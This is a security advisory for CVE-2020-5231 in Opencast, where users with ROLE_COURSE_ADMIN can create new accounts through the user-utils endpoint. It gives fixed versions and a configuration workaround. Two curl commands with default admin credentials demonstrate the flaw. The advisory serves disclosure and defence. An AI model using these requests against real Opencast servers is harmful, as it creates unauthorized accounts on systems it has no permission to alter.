CVE-2020-5231: Users with ROLE_COURSE_ADMIN can create new users in Opencast

Impact

Users with the role ROLE_COURSE_ADMIN can use the user-utils endpoint to create new users not including the role ROLE_ADMIN. For example:

# Use the admin to create a new user with ROLE_COURSE_ADMIN using the admin user.
# We expect this to work.
% curl -i -u admin:opencast 'https://example.opencast.org/user-utils/xy.json' -X PUT \
  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'
HTTP/2 201

# Use the new user to create more new users.
# We don't expüect a user with just role ROLE_COURSE_ADMIN to succeed.
# But it does work
% curl -i -u xy:f 'https://example.opencast.org/user-utils/ab.json' -X PUT \
  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'
HTTP/2 201

ROLE_COURSE_ADMIN is a non-standard role in Opencast which is referenced neither in the documentation nor in any code (except for tests) but only in the security configuration. From the name – implying an admin for a specific course – users would never expect that this role allows user creation.

Patches

This issue is fixed in 7.6 and 8.1 which both ship a new default security configuration.

Workarounds

You can fix this issue by removing all instances of ROLE_COURSE_ADMIN in your organization's security configuration (etc/security/mh_default_org.xml by default).

For more information

If you have any questions or comments about this advisory:

• Open an issue in opencast/opencast
• For security-relevant information, email us at security@opencast.org